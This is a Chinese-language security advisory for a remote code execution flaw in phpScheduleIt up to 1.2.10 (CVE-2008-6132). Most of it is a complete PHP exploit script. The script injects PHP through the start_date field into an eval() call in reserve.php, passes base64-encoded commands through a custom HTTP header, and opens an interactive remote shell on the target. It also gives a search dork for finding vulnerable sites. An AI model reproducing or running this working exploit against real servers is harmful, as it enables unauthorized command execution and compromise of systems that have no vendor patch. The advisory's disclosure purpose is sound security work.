发布日期：2008-10-01
更新日期：2011-10-27

受影响系统：

phpScheduleIt phpScheduleIt 1.x

描述：

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BUGTRAQ  ID: 31520
CVE ID: CVE-2008-6132

phpScheduleIt是一个基于Web的预约/计划系统，可以用来管理需要预约的资源。

phpScheduleIt在实现上存在安全漏洞，攻击者可利用此漏洞在受影响计算机上执行任意PHP代码。

<*来源：EgiX （n0b0d13s@gmail.com）
  
  链接：http://osvdb.org/show/osvdb/48797
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

EgiX （n0b0d13s@gmail.com）提供了如下测试方法：

<?php

/*
    -------------------------------------------------------------------
    phpScheduleIt <= 1.2.10 (reserve.php) Remote Code Execution Exploit
    -------------------------------------------------------------------
    
    author...: EgiX
    mail.....: n0b0d13s[at]gmail[dot]com
    
    link.....: http://phpscheduleit.sourceforge.net/
    dork.....: inurl:roschedule.php
    details..: works with magic_quotes_gpc = off
    
    [-] vulnerable code in /reserve.php
    
    51.    if (isset($_POST['btnSubmit']) && strstr($_SERVER['HTTP_REFERER'], $_SERVER['PHP_SELF'])) {
    52.        $t->set_title(translate("Processing $Class"));
    53.        $t->printHTMLHeader();
    54.        $t->startMain();
    55.    
    56.        process_reservation($_POST['fn']);
    57.    }
    58.    else {
    59.        $res_info = getResInfo();
    60.        $t->set_title($res_info['title']);
    61.        $t->printHTMLHeader();
    62.           $t->startMain();
    63.           present_reservation($res_info['resid']);
    64.    }

    [...]
    
    79.    function process_reservation($fn) {
    80.        $success = false;
    81.        global $Class;
    82.        $is_pending = (isset($_POST['pending']) && $_POST['pending']);
    83.    
    84.        if (isset($_POST['start_date'])) {            // Parse the POST-ed starting and ending dates
    85.            $start_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['start_date']) . '\');');
    86.            $end_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['end_date']) . '\');');
    87.        }
    
    An attacker might be able to inject and execute PHP code through $_POST['start_date'], that is passed to eval() at line 85
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
    $sock = fsockopen($host, 80);
    while (!$sock)
    {
        print "\n[-] No response from {$host}:80 Trying again...";
        $sock = fsockopen($host, 80);
    }
    fputs($sock, $packet);
    while (!feof($sock)) $resp .= fread($sock, 1024);
    fclose($sock);
    return $resp;
}

print "\n+---------------------------------------------------------------+";
print "\n| phpScheduleIt <= 1.2.10 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] host path\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /phpscheduleit/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "btnSubmit=1&start_date=1').\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die};%%23";
$packet  = "POST {$path}reserve.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Referer: {$path}reserve.php\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Content-Length: ".(strlen($payload)-1)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

while(1)
{
    print "\nphpscheduleit-shell# ";
    $cmd = trim(fgets(STDIN));
    if ($cmd != "exit")
    {
        $html  = http_send($host, sprintf($packet, base64_encode($cmd)));
        $shell = explode("_code_", $html);
        preg_match("/_code_/", $html) ? print "\n{$shell[1]}" : die("\n[-] Exploit failed...\n");
    }
    else break;
}

?>

建议：

---

厂商补丁：

phpScheduleIt
-------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.php.brickhost.com/

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